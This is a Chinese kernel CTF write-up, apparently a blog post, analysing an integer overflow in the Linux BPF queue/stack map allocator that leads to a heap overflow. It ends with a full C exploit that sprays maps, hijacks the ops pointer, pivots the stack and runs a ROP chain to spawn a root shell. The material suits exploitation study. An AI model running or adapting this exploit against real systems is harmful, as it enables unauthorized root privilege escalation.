题目会放在:https://github.com/196082/196082
漏洞分析 kernel中的bpf模块主要用于用户态定义数据包过滤方法,如常见的抓包工具都基于此实现,并且用户态的Seccomp功能也与此功能相似。
整数溢出 该漏洞存在于BPF_MAP_CREATE功能中,并且可以看到处理的函数是map_create。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 SYSCALL_DEFINE3(bpf, int , cmd, union bpf_attr __user *, uattr, unsigned int , size) { union bpf_attr attr = {}; int err; if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN)) return -EPERM; err = bpf_check_uarg_tail_zero(uattr, sizeof (attr), size); if (err) return err; size = min_t (u32, size, sizeof (attr)); if (copy_from_user(&attr, uattr, size) != 0 ) return -EFAULT; err = security_bpf(cmd, &attr, size); if (err < 0 ) return err; switch (cmd) { case BPF_MAP_CREATE: err = map_create(&attr); break ; case BPF_MAP_LOOKUP_ELEM: err = map_lookup_elem(&attr); break ; case BPF_MAP_UPDATE_ELEM: err = map_update_elem(&attr); break ; }
可以看到下面使用find_and_alloc_map函数创建一个map结构体,并为其分配编号,然后寻找出来生成的map。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 static int map_create (union bpf_attr *attr) { int numa_node = bpf_map_attr_numa_node(attr); struct bpf_map *map ; int f_flags; int err; err = CHECK_ATTR(BPF_MAP_CREATE); if (err) return -EINVAL; f_flags = bpf_get_file_flag(attr->map_flags); if (f_flags < 0 ) return f_flags; if (numa_node != NUMA_NO_NODE && ((unsigned int )numa_node >= nr_node_ids || !node_online(numa_node))) return -EINVAL; map = find_and_alloc_map(attr); if (IS_ERR(map )) return PTR_ERR(map ); err = bpf_obj_name_cpy(map ->name, attr->map_name); if (err) goto free_map_nouncharge; atomic_set(&map ->refcnt, 1 ); atomic_set(&map ->usercnt, 1 ); if (attr->btf_key_type_id || attr->btf_value_type_id) { struct btf *btf ; if (!attr->btf_key_type_id || !attr->btf_value_type_id) { err = -EINVAL; goto free_map_nouncharge; } btf = btf_get_by_fd(attr->btf_fd); if (IS_ERR(btf)) { err = PTR_ERR(btf); goto free_map_nouncharge; } err = map_check_btf(map , btf, attr->btf_key_type_id, attr->btf_value_type_id); if (err) { btf_put(btf); goto free_map_nouncharge; } map ->btf = btf; map ->btf_key_type_id = attr->btf_key_type_id; map ->btf_value_type_id = attr->btf_value_type_id; } err = security_bpf_map_alloc(map ); if (err) goto free_map_nouncharge; err = bpf_map_init_memlock(map ); if (err) goto free_map_sec; err = bpf_map_alloc_id(map ); if (err) goto free_map; err = bpf_map_new_fd(map , f_flags); if (err < 0 ) { bpf_map_put(map ); return err; } return err; free_map: bpf_map_release_memlock(map ); free_map_sec: security_bpf_map_free(map ); free_map_nouncharge: btf_put(map ->btf); map ->ops->map_free(map ); return err; }
下面分析find_and_alloc_map函数,那么首先还是先看一下传参结构体的定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 union bpf_attr { struct { __u32 map_type; __u32 key_size; __u32 value_size; __u32 max_entries; __u32 map_flags; __u32 inner_map_fd; __u32 numa_node; char map_name[BPF_OBJ_NAME_LEN]; __u32 map_ifindex; __u32 btf_fd; __u32 btf_key_type_id; __u32 btf_value_type_id; }; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static struct bpf_map *find_and_alloc_map (union bpf_attr *attr) { const struct bpf_map_ops *ops ; u32 type = attr->map_type; struct bpf_map *map ; int err; if (type >= ARRAY_SIZE(bpf_map_types)) return ERR_PTR(-EINVAL); type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types)); ops = bpf_map_types[type]; if (!ops) return ERR_PTR(-EINVAL); if (ops->map_alloc_check) { err = ops->map_alloc_check(attr); if (err) return ERR_PTR(err); } if (attr->map_ifindex) ops = &bpf_map_offload_ops; map = ops->map_alloc(attr); if (IS_ERR(map )) return map ; map ->ops = ops; map ->map_type = type; return map ; }
可以看到这里是首先根据type作为索引得到ops,最后再调用ops中的map_alloc函数但是可以注意到的是在数组中存在以下的ops结构体
1 2 3 4 5 6 7 8 9 10 11 12 const struct bpf_map_ops queue_map_ops = { .map_alloc_check = queue_stack_map_alloc_check, .map_alloc = queue_stack_map_alloc, .map_free = queue_stack_map_free, .map_lookup_elem = queue_stack_map_lookup_elem, .map_update_elem = queue_stack_map_update_elem, .map_delete_elem = queue_stack_map_delete_elem, .map_push_elem = queue_stack_map_push_elem, .map_pop_elem = queue_map_pop_elem, .map_peek_elem = queue_map_peek_elem, .map_get_next_key = queue_stack_map_get_next_key, };
这里的漏洞也就存在于上述结构体中的queue_stack_map_alloc
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .text:FFFFFFFF8119D17A 44 89 F0 mov eax, r14d .text:FFFFFFFF8119D17D 4C 8B 3C C5 80 83 02 82 mov r15, ds:qword_FFFFFFFF82028380[rax*8] .rodata:FFFFFFFF82028380 qword_FFFFFFFF82028380 dq 0 ; DATA XREF: map_create+AD↑r ; ... ... .rodata:FFFFFFFF82028410 dq offset unk_FFFFFFFF8210F0A0 .rodata:FFFFFFFF82028418 dq offset unk_FFFFFFFF82029B00 .rodata:FFFFFFFF82028420 dq offset unk_FFFFFFFF8202A680 .rodata:FFFFFFFF82028428 dq offset unk_FFFFFFFF82029B00 .rodata:FFFFFFFF82028430 dq offset unk_FFFFFFFF82029C40 .rodata:FFFFFFFF82028438 dq offset off_FFFFFFFF82029BA0 ; ... ... .rodata:FFFFFFFF82029BA0 dq offset queue_stack_map_alloc_check .rodata:FFFFFFFF82029BA8 dq offset queue_stack_map_alloc .rodata:FFFFFFFF82029BB0 dq 0 .rodata:FFFFFFFF82029BB8 dq offset queue_stack_map_free .rodata:FFFFFFFF82029BC0 dq offset queue_stack_map_get_next_key .rodata:FFFFFFFF82029BC8 dq 0 .rodata:FFFFFFFF82029BD0 dq offset queue_stack_map_lookup_elem .rodata:FFFFFFFF82029BD8 dq offset queue_stack_map_update_elem .rodata:FFFFFFFF82029BE0 dq offset queue_stack_map_delete_elem .rodata:FFFFFFFF82029BE8 dq offset queue_stack_map_push_elem .rodata:FFFFFFFF82029BF0 dq offset stack_map_pop_elem .rodata:FFFFFFFF82029BF8 dq offset stack_map_peek_elem
可以看到只要计算偏移就可以成功修改ops为queue_stack_map_alloc
函数,经过计算可得type为:(0xFFFFFFFF82028438 - 0xFFFFFFFF82028380)/8 = 0x17
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 static struct bpf_map *queue_stack_map_alloc (union bpf_attr *attr) { int ret, numa_node = bpf_map_attr_numa_node(attr); struct bpf_queue_stack *qs ; u64 size, queue_size, cost; size = (u64) attr->max_entries + 1 ; cost = queue_size = sizeof (*qs) + size * attr->value_size; if (cost >= U32_MAX - PAGE_SIZE) return ERR_PTR(-E2BIG); cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT; ret = bpf_map_precharge_memlock(cost); if (ret < 0 ) return ERR_PTR(ret); qs = bpf_map_area_alloc(queue_size, numa_node); if (!qs) return ERR_PTR(-ENOMEM); memset (qs, 0 , sizeof (*qs)); bpf_map_init_from_attr(&qs->map , attr); qs->map .pages = cost; qs->size = size; raw_spin_lock_init(&qs->lock); return &qs->map ; }
可以看到这里的cost其实就是等于sizeof(*qs) + (attr->value_size) * (attr->max_entries+1)
,并且这里的attr是我们可控的,如果我们控制attr->max_entries
为-1那么这里申请的大小只有sizeof(struct bpf_queue_stack)
并且这个size其实是管理堆块的大小,用于存储数据结构,后面的内容为数据存储结构。
1 2 3 4 5 6 7 8 9 void bpf_map_init_from_attr (struct bpf_map *map , union bpf_attr *attr) { map ->map_type = attr->map_type; map ->key_size = attr->key_size; map ->value_size = attr->value_size; map ->max_entries = attr->max_entries; map ->map_flags = attr->map_flags; map ->numa_node = bpf_map_attr_numa_node(attr); }
最后将用户传进来的attr赋值过去。最后生成id,并将id返回给用户。
堆溢出 可以看到在上面的系统调用中存在BPF_MAP_UPDATE_ELEM功能,其实现的函数为:map_update_elem
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 static int map_update_elem (union bpf_attr *attr) { void __user *ukey = u64_to_user_ptr(attr->key); void __user *uvalue = u64_to_user_ptr(attr->value); int ufd = attr->map_fd; struct bpf_map *map ; void *key, *value; u32 value_size; struct fd f ; int err; if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM)) return -EINVAL; f = fdget(ufd); map = __bpf_map_get(f); if (IS_ERR(map )) return PTR_ERR(map ); if (!(f.file->f_mode & FMODE_CAN_WRITE)) { err = -EPERM; goto err_put; } key = __bpf_copy_key(ukey, map ->key_size); if (IS_ERR(key)) { err = PTR_ERR(key); goto err_put; } if (map ->map_type == BPF_MAP_TYPE_PERCPU_HASH || map ->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH || map ->map_type == BPF_MAP_TYPE_PERCPU_ARRAY || map ->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE) value_size = round_up(map ->value_size, 8 ) * num_possible_cpus(); else value_size = map ->value_size; err = -ENOMEM; value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); if (!value) goto free_key; err = -EFAULT; if (copy_from_user(value, uvalue, value_size) != 0 ) goto free_value; if (bpf_map_is_dev_bound(map )) { err = bpf_map_offload_update_elem(map , key, value, attr->flags); goto out; } else if (map ->map_type == BPF_MAP_TYPE_CPUMAP || map ->map_type == BPF_MAP_TYPE_SOCKHASH || map ->map_type == BPF_MAP_TYPE_SOCKMAP) { err = map ->ops->map_update_elem(map , key, value, attr->flags); goto out; } }
可以看到这里是直接取出map中存储的value_size直接kmalloc一个堆块,然后从用户态copy内容到堆块上面。随后调用ops中的map_update_elem函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 static int queue_stack_map_push_elem (struct bpf_map *map , void *value, u64 flags) { struct bpf_queue_stack *qs = bpf_queue_stack(map ); unsigned long irq_flags; int err = 0 ; void *dst; bool replace = (flags & BPF_EXIST); if (flags & BPF_NOEXIST || flags > BPF_EXIST) return -EINVAL; raw_spin_lock_irqsave(&qs->lock, irq_flags); if (queue_stack_map_is_full(qs)) { if (!replace) { err = -E2BIG; goto out; } if (unlikely(++qs->tail >= qs->size)) qs->tail = 0 ; } dst = &qs->elements[qs->head * qs->map .value_size]; memcpy (dst, value, qs->map .value_size); if (unlikely(++qs->head >= qs->size)) qs->head = 0 ; out: raw_spin_unlock_irqrestore(&qs->lock, irq_flags); return err; }
1 2 3 4 5 6 7 8 struct bpf_queue_stack { struct bpf_map map ; raw_spinlock_t lock; u32 head, tail; u32 size; char elements[0 ] __aligned(8 ); };
这里利用memcpy将堆块上的内容复制到目标地址。这里查看qs的定义可以看出来其实就是往管理堆块下面相邻的堆块进行写入,但是因为我们上面申请的size只是管理堆块的size这也就导致了我们可以进行堆溢出。
简单总结 其实从上面分析到这里可以看出来这里的功能主要是要干嘛的,并且分析出来qs的结构。这里简化一下结构体其实就是类似于msg_msg的一种结构:
1 2 3 4 struct { manager; data; }
不过我们每次进行update的时候只能够修改data中的一个小块,而这些小块又被分成了attr->max_entries + 1
个,并且每个小块的size为:attr->value_size
。
利用分析 这里主要利用堆风水使我们分配的两个object相邻,接着修改掉ops指针,劫持函数实现站栈迁移即可。
这里使用到的gadget在 modify_ldt利用 中提到过,不熟悉的可以去看看这里就不再赘述。
综上,exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #define _GNU_SOURCE #include <err.h> #include <inttypes.h> #include <sched.h> #include <net/if.h> #include <netinet/in.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <stdint.h> #include <sys/prctl.h> #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <time.h> #define SPRAY_NUMBER 14 #ifndef __NR_bpf #define __NR_bpf 321 #endif void errExit (char *err_msg) { puts (err_msg); exit (-1 ); } size_t user_cs, user_ss, user_sp, user_rflags;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void get_shell () { if (getuid()) { printf ("\033[31m\033[1m[x] Failed to get the root!\033[0m\n" ); exit (-1 ); } printf ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n" ); system("/bin/sh" ); } int main () { signal(SIGSEGV, get_shell); save_status(); unsigned long swapgs = 0xffffffff81c00d5a ; unsigned long iretq = 0xffffffff8106d8f4 ; unsigned long stack_pivot_gadget = 0xffffffff81954dc8 ; char *buf = malloc (0x4000 ); long int res; unsigned long fake_ops[0x1000 ] = {0 }; unsigned long pointer[0x1000 ] = {0 }; char *rop_addr; memset (buf, 0 , sizeof (buf)); *(unsigned int *)buf = 0x17 ; *(unsigned int *)(buf + 4 ) = 0 ; *(unsigned int *)(buf + 8 ) = 0x40 ; *(unsigned int *)(buf + 12 ) = -1 ; *(unsigned int *)(buf + 16 ) = 0 ; *(unsigned int *)(buf + 20 ) = -1 ; res = syscall(__NR_bpf, 0 , buf, 0x2c ); if (res == -1 ) errExit("BPF_MAP_CREATE error!" ); unsigned long victim[SPRAY_NUMBER]; for (int i = 0 ; i < SPRAY_NUMBER; i++) { victim[i] = syscall(__NR_bpf, 0 , buf, 0x2c ); } printf ("spray finished!\n" ); fake_ops[2 ] = stack_pivot_gadget; pointer[6 ] = fake_ops; *(unsigned int *)buf = res; *(unsigned int *)(buf + 4 ) = 0 ; *(unsigned long *)(buf + 8 ) = 0 ; *(unsigned long *)(buf + 16 ) = pointer; *(unsigned long *)(buf + 24 ) = 2 ; syscall(__NR_bpf, 2 , buf, 0x20 ); printf ("changed ops\n" ); rop_addr = mmap(0x81954000 , 0x8000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); int idx = 0 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xffffffff81029c71 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0x6f0 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xffffffff810013b9 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xFFFFFFFF810E3D40 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xffffffff81001c50 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xffffffff810013b9 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xffffffff81264e0b ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xFFFFFFFF810E3AB0 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xffffffff81c00d5a ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0x246 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = 0xffffffff8106d8f4 ; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = (uint64_t )get_shell; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = (uint64_t )user_cs; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = (uint64_t )user_rflags; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = (uint64_t )user_sp; *(unsigned long *)(rop_addr + 0x143c + (idx++ * 8 )) = (uint64_t )user_ss; *(unsigned long *)(0x81954dc8 ) = 0xffffffff81029c71 ; for (int i = 0 ; i < SPRAY_NUMBER; i++) { close(victim[i]); } return 0 ; }
参考链接:http://p4nda.top/2019/01/02/kernel-bpf-overflow/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8